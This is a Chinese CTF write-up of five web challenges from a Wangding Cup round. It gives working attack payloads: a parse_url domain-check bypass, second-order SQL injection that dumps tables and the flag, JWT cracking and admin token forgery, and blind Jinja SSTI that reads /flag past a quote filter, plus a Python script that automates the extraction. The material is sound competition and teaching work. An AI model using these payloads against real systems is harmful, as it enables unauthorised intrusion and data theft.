内容简介:比赛环境没关,可以找其他人借账号复现本次比赛题目,以下是网鼎杯第三场Web题解。题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。
比赛环境没关,可以找其他人借账号复现本次比赛题目,以下是网鼎杯第三场Web题解。
Web
comein
题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。
查看源码,发现如下代码:
很明显又是考察 parse_url 函数绕过,只不过开头多了对点号的匹配,绕过即可。使用 payload : .@c7f.zhuque.com/..//
可以自己本地调试一下。
gold
题目:还在上小学的小明同学开发了一款游戏,你能通关吗?
Burpsuite抓包会发现浏览器一直发送POST数据,应该是通过Ajax来发起请求的:
根据题目提示: 收集1000金币即可过关 。尝试直接将参数 getGod 的值修改为1000,发现会触发检测机制。
于是使用 Burpsuite 抓包,用 Intruder 模块从0跑到1001,在 getGod=1001 的数据包中获得flag:
PS:用多线程跑会触发游戏的反作弊机制,用单线程按顺序跑就能出flag。
phone
题目:find the flag.
看到这道题目,马上就想到 2017广东省强网杯(第三题) 。测试了一下,果然在用户注册处的电话处存在二次注入,测试结果如下:
可以发现这里查询结果为: 有1人和你电话相似哦~ ,而实际上这是我注册的第一个用户,数据库中不可能有用户的电话和我一样,所以应该是执行了我们刚刚构造的 SQL语句 ,因为后面的布尔逻辑值为真。所以我们分别构造获取表名、列名、字段的 payload 如下:
获取表名:
aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database() order by 1 desc#
username=test4&password=test4☎=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829206f726465722062792031206465736323®ister=Login
获取列名:
aaa' union select group_concat(column_name) from information_schema.columns where table_name="flag" order by 1 desc#
username=test6&password=test6☎=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d22666c616722206f726465722062792031206465736323®ister=Login
获取字段:
aaa' union select f14g from flag order by 1 desc#
username=test7&password=test7☎=0x6161612720756e696f6e2073656c65637420663134672066726f6d20666c6167206f726465722062792031206465736323®ister=Login
这里可能有人会不明白为什么要加上 order by 1 desc ,大家可以试试下面这个 payload :
aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database()#
username=test8&password=test8☎=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d6461746162617365282923®ister=Login
实际上后台的 SQL语句 类似下图 第一个 SQL 语句 :
i_am_admin
题目:你能登录进去吗?
抓取登录数据包,发现 JWT :
登录进去可以发现用于加密的 secret key :
使用这个 secret key 到 https://jwt.io/ 生成 admin 对应的 token 值:
使用该 token 值访问网站即可获得flag:
mmmmy
题目:find the flag.
抓包发现又是 python 的web程序,使用了JWT:(随手用test/test登录即可看到)
使用 c-jwt-cracker 爆破 secret key :
发现只有 admin 才能用留言板功能,所以 伪造admin的token 登录:
virink师傅提醒说留言板处存在 SSTI ,于是测试了下,果然存在,只不过过滤了 {{}} 的写法,那我们可以换成流程控制结构的写法 {%if 表达式%}内容1{%else%}内容2{%endif%} ,测试如下:
那么后面的数据就要盲注出来了,使用的 payload 类似如下:
text={% if open('/flag','r').read()[0]=='f' %}1{% else %}0{% endif %}
这里实际上过滤了单、双引号,我们可以使用以下payload进行绕过:
text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0]%}good{%endif%}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz
getflag程序如下:
import requests,sys
url = "http://4532bc69bc734acd8416204f0aa04f446e9d38024c5644e8.game.ichunqiu.com/bbs"
cookie = {
"token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}
chars = "}-{0123456789abcdefghijklmnopqrstuvwxyz"
flag = ''
for i in range(0,50):
for j in range(0,len(chars)):
data = {
"text" : "{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d]%%}getflag{%%endif%%}" % (j,i),
"a" : "__class__",
"b" : "__base__",
"c" : "__subclasses__",
"d" : "/flag",
"e" : chars
}
r = requests.post(url=url,data=data,cookies=cookie)
if 'getflag' in r.text:
flag += chars[j]
sys.stdout.write("[+] "+ flag + '\r')
sys.stdout.flush()
if chars[j] == '}':
print(flag)
exit()
else:
break
print(len(r.text))
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- PHP版Leetcode题解开始随缘更新
- leetcode题解(动态规划)
- leetcode题解(动态规划)
- leetcode题解(数组问题)
- Leetcode 565 & 240 题解
- 卖酒的算法题解
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Beginning ASP.NET 4 in C# and Vb
Imar Spaanjaars / Wrox / 2010-3-19 / GBP 29.99
This book is for anyone who wants to learn how to build rich and interactive web sites that run on the Microsoft platform. With the knowledge you gain from this book, you create a great foundation to ......一起来看看 《Beginning ASP.NET 4 in C# and Vb》 这本书的介绍吧!